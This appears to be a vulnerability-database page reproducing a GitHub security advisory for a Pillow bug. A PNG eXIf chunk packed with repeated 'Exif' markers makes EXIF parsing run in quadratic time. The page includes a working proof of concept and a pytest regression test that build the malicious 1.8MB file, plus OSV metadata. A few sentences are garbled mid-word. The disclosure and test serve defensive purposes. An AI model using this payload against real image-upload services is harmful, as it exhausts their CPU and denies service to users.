GHSA-G4QV-2JXX-769H
Vulnerability from github – Published: 2026-10-22 16:02 – Updated: 2026-10-22 16:02Summary
A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.
### Details
Exif.load() in src/PIL/Image.py strips a marker from the start of the EXIF data like this:
python
while data and data.startswith(b"Exif\x00\x00"):
data = data[6:]
Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.
chunk_eXIf() in src/PIL/PngImagePlugin.py puts the raw PNG eXIf chunk straight into info["exif"] with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with MAX_TEXT_CHUNK and MAX_TEXT_MEMORY. The eXIf chunk has no such cap.
If the eXIf chunk is filled with repeated Exif\x00\x00 markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.
### Steps to reproduce
This builds a small PNG in memory and times Image.open().getexif() on it. No external file needed.
```python import time from io import BytesIO from PIL import Image, PngImagePlugin
def chunk(cid, *data): fp = BytesIO() PngImagePlugin.putchunk(fp, cid, *data) return fp.getvalue()
MAGIC = PngImagePlugin._MAGIC IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0") IDAT = chunk(b"IDAT") IEND = chunk(b"IEND")
marker = b"Exif\x00\x00" exif_chunk = chunk(b"eXIf", marker * 300_000) # 1.8MB, all markers data = MAGIC + IHDR + exif_chunk + IDAT + IEND
start = time.time() with Image.open(BytesIO(data)) as im: im.getexif() print("took", time.time() - start, "seconds") ```
Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.
Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.
A pytest version of this test, using pytest-timeout so a test run does not hang if the bug is present, is it fails with Failed: Timeout (>2.0s) from pytest-timeout.
```python import pytest from io import BytesIO from PIL import Image, PngImagePlugin
def chunk(cid, *data): fp = BytesIO() PngImagePlugin.putchunk(fp, cid, *data) return fp.getvalue()
MAGIC = PngImagePlugin._MAGIC IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0") IDAT = chunk(b"IDAT") IEND = chunk(b"IEND")
@pytest.mark.timeout(2) def test_exif_load_is_not_quadratic(): marker = b"Exif\x00\x00" exif_chunk = chunk(b"eXIf", marker * 300_000) data = MAGIC + IHDR + exif_chunk + IDAT + IEND with Image.open(BytesIO(data)) as im: im.getexif() ```
### Impact
- Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear.
- Confidentiality: none.
- Integrity: none.
- This fires through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(). exif_transpose() is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Pillow"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "13.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-96643"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-22T16:02:39Z",
"nvd_published_at": "2026-10-21T21:20:32Z",
"severity": "HIGH"
},
"details": "### Summary\n A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow\u0027s EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.\n\n ### Details\n `Exif.load()` in `src/PIL/Image.py` strips a marker from the start of the EXIF data like this:\n\n ```python\n while data and data.startswith(b\"Exif\\x00\\x00\"):\n data = data[6:]\n ```\n\n Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.\n\n `chunk_eXIf()` in `src/PIL/PngImagePlugin.py` puts the raw PNG eXIf chunk straight into `info[\"exif\"]` with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with `MAX_TEXT_CHUNK` and `MAX_TEXT_MEMORY`. The eXIf chunk has no such cap.\n\n If the eXIf chunk is filled with repeated `Exif\\x00\\x00` markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.\n\n ### Steps to reproduce\n This builds a small PNG in memory and times `Image.open().getexif()` on it. No external file needed.\n\n ```python\n import time\n from io import BytesIO\n from PIL import Image, PngImagePlugin\n\n def chunk(cid, *data):\n fp = BytesIO()\n PngImagePlugin.putchunk(fp, cid, *data)\n return fp.getvalue()\n\n MAGIC = PngImagePlugin._MAGIC\n IHDR = chunk(b\"IHDR\", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b\"\\x08\\x02\", b\"\\0\\0\\0\")\n IDAT = chunk(b\"IDAT\")\n IEND = chunk(b\"IEND\")\n\n marker = b\"Exif\\x00\\x00\"\n exif_chunk = chunk(b\"eXIf\", marker * 300_000) # 1.8MB, all markers\n data = MAGIC + IHDR + exif_chunk + IDAT + IEND\n\n start = time.time()\n with Image.open(BytesIO(data)) as im:\n im.getexif()\n print(\"took\", time.time() - start, \"seconds\")\n ```\n\n Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.\n\n Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a\n few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.\n\n A pytest version of this test, using `pytest-timeout` so a test run does not hang if the bug is present, is it fails with `Failed: Timeout (\u003e2.0s) from pytest-timeout`.\n\n ```python\n import pytest\n from io import BytesIO\n from PIL import Image, PngImagePlugin\n\n def chunk(cid, *data):\n fp = BytesIO()\n PngImagePlugin.putchunk(fp, cid, *data)\n return fp.getvalue()\n\n MAGIC = PngImagePlugin._MAGIC\n IHDR = chunk(b\"IHDR\", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b\"\\x08\\x02\", b\"\\0\\0\\0\")\n IDAT = chunk(b\"IDAT\")\n IEND = chunk(b\"IEND\")\n\n @pytest.mark.timeout(2)\n def test_exif_load_is_not_quadratic():\n marker = b\"Exif\\x00\\x00\"\n exif_chunk = chunk(b\"eXIf\", marker * 300_000)\n data = MAGIC + IHDR + exif_chunk + IDAT + IEND\n with Image.open(BytesIO(data)) as im:\n im.getexif()\n ```\n\n ### Impact\n - Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear.\n - Confidentiality: none.\n - Integrity: none.\n - This fires through `Image.getexif()`, `Image._getexif()`, and `ImageOps.exif_transpose()`. `exif_transpose()` is the function Pillow\u0027s own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.",
"id": "GHSA-g4qv-2jxx-769h",
"modified": "2026-10-22T16:02:39Z",
"published": "2026-10-22T16:02:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-g4qv-2jxx-769h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96643"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/pull/10073"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/806e38381c781f32bbd22f4cd026678acd40fd6c"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.